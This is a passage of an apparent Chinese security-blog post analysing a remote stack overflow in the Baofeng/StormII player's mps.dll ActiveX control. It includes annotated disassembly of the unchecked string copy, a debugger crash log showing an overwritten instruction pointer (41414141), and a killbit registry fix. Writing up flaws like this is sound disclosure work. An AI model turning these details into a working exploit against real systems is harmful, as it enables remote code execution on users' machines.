         |&#8211;.text:10014E37   call    dword ptr [eax+8] ; sub_1005DAF0<br />
         |&#8211;sub_1005DAF0<br />
               |&#8211;.text:1005DBA1  call    dword ptr [edx+4] ; sub_1005EB50<br />
               |&#8211;sub_1005EB50<br />
       |&#8211;.text:1005EB9A  call    sub_10060320<br />
                     |&#8211;sub_10060320<br />
                           |&#8211;.text:1006033C    call    ds:lstrcpynA<br />
                     |     add     esp, 1348h<br />
                     |&#8211;{ retn  14h</p></blockquote>
<p>&#8230;</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p96code4'); return false;">View Code</a> ASM</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p964"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="code" id="p96code4"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB6F                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB70                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB71                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1350h</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB78                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB79                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #000000; font-weight: bold;">offset</span> aStormbox_0 <span style="color: #666666; font-style: italic;">; &quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB7E                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">ebp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB80                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; Str</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB81                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>strstr       <span style="color: #666666; font-style: italic;">;检查下传递进来的参数是否含有&quot;stormbox&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB87                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">8</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8A                 <span style="color: #00007f; font-weight: bold;">test</span>    <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB8C                 <span style="color: #00007f; font-weight: bold;">jnz</span>     loc_1005ED67    <span style="color: #666666; font-style: italic;">;没有！那就xxoo了</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB92                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB93                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">1358h</span><span style="color: #339933;">+</span>var_1034<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005EB9A                 <span style="color: #00007f; font-weight: bold;">call</span>    sub_10060320
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060320</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060321</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060322</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">edi</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">8</span><span style="color: #339933;">+</span>lpString2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060326</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060328</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060329</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> off_1007C5A4
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">1006032F</span>                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrlenA
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060335</span>                 <span style="color: #00007f; font-weight: bold;">inc</span>     <span style="color: #00007f;">eax</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060336</span>                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; iMaxLength,唉，上面这是最后一次调用函数来进行长度检查，但是这里仅仅是为了这个最大值参数，</span>
             <span style="color: #666666; font-style: italic;">; 还是没有考虑合法性-_-</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060337</span>                 <span style="color: #00007f; font-weight: bold;">lea</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #339933;">+</span><span style="color: #0000ff;">4</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033A                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">edi</span>             <span style="color: #666666; font-style: italic;">; lpString2</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033B                 <span style="color: #00007f; font-weight: bold;">push</span>    <span style="color: #00007f;">eax</span>             <span style="color: #666666; font-style: italic;">; lpString1</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1006033C                 <span style="color: #00007f; font-weight: bold;">call</span>    <span style="color: #00007f;">ds</span><span style="color: #339933;">:</span>lstrcpynA    <span style="color: #666666; font-style: italic;">; 拷贝到eax指向的堆栈区域，为即将到来的溢出做热身运动</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060342</span>                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060344</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060345</span>                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">10060346</span>                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">4</span>
<span style="color: #339933;">...</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED70                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">edi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED71                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">esi</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED72                 <span style="color: #00007f; font-weight: bold;">pop</span>     <span style="color: #00007f;">ebp</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED73                 <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">large</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #0000ff;">0</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED7A                 <span style="color: #00007f; font-weight: bold;">add</span>     <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1348h</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>1005ED80                 <span style="color: #00007f; font-weight: bold;">retn</span>    <span style="color: #0000ff;">14h</span>        <span style="color: #666666; font-style: italic;">; 就这样返回，哦豁了</span></pre></td></tr></table></div>

<p> <br />
ModLoad: 41f50000 41fc7000   C:\WINDOWS\system32\mshtmled.dll<br />
ModLoad: 10000000 100e2000   C:\Program Files\StormII\mps.dll<br />
ModLoad: 75ff0000 76055000   C:\Program Files\StormII\MSVCP60.dll<br />
ModLoad: 02c60000 02c96000   C:\Program Files\StormII\meedb.dll<br />
ModLoad: 02ca0000 02d2e000   C:\Program Files\StormII\splayers.dll<br />
ModLoad: 02730000 0274e000   C:\Program Files\StormII\rndrmgr.dll<br />
ModLoad: 02d30000 02e48000   C:\Program Files\StormII\SubDecoder.dll<br />
ModLoad: 4b640000 4b7e6000   C:\WINDOWS\system32\d3d9.dll<br />
ModLoad: 6dd20000 6dd26000   C:\WINDOWS\system32\d3d8thk.dll<br />
ModLoad: 736d0000 73719000   C:\WINDOWS\system32\DDRAW.dll<br />
ModLoad: 73b30000 73b36000   C:\WINDOWS\system32\DCIMAN32.dll<br />
ModLoad: 74be0000 74c0c000   C:\WINDOWS\system32\OLEACC.dll<br />
ModLoad: 72f70000 72f96000   C:\WINDOWS\system32\WINSPOOL.DRV<br />
ModLoad: 76320000 76367000   C:\WINDOWS\system32\COMDLG32.dll<br />
ModLoad: 02eb0000 02ed2000   C:\Program Files\StormII\mediainfo.dll<br />
ModLoad: 719c0000 719fe000   C:\WINDOWS\system32\mswsock.dll<br />
ModLoad: 60fd0000 61025000   C:\WINDOWS\system32\hnetcfg.dll<br />
ModLoad: 71a00000 71a08000   C:\WINDOWS\System32\wshtcpip.dll<br />
ModLoad: 7cf70000 7d0d8000   C:\WINDOWS\system32\quartz.dll<br />
ModLoad: 63380000 633f8000   C:\WINDOWS\system32\jscript.dll<br />
(a0.8b0): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=ffffff00 ebx=01b3f33c ecx=41414141 edx=00142f90 esi=01b3f328 edi=01b3f340<br />
eip=41414141 esp=0175f588 ebp=01b3f338 iopl=0         nv up ei pl nz ac po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212<br />
41414141 ??              ???<br />
解决办法:<br />
在厂商没有推出相应的补丁之前，<br />
建议用户通过注册表对相应的CLSID:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB设置Killbit<br />
或者将以下文本保存为.REG文件并导入:<br />
Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]<br />
“Compatibility Flags”=dword:00000400</p>
<p>&#8211;EOF&#8211;</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/96">2009年09月24日</a>, <a href='http://blog.duba.net/post/baofengyingyin2009beibaoxin0dayanquanloudongjinshanwangdunwanmeilanjie2009-5-3gengxin.php' rel='external nofollow' class='url'>暴风影音2009被爆新0day安全漏洞,金山网盾完美拦截（2009-5-3更新） &laquo; 金山毒霸官方博客|Kingsoft Internet Security Blog</a> writes: [...] 或者直接双击运行导入fix_baofeng_0day.reg参考：暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞BaoFeng (mps.dll) Remote Code Execution Exploit   标签：0-day, config.dll, mps.dll, 暴风  评论 (4) , 阅读 (2285) [...]</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/96/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

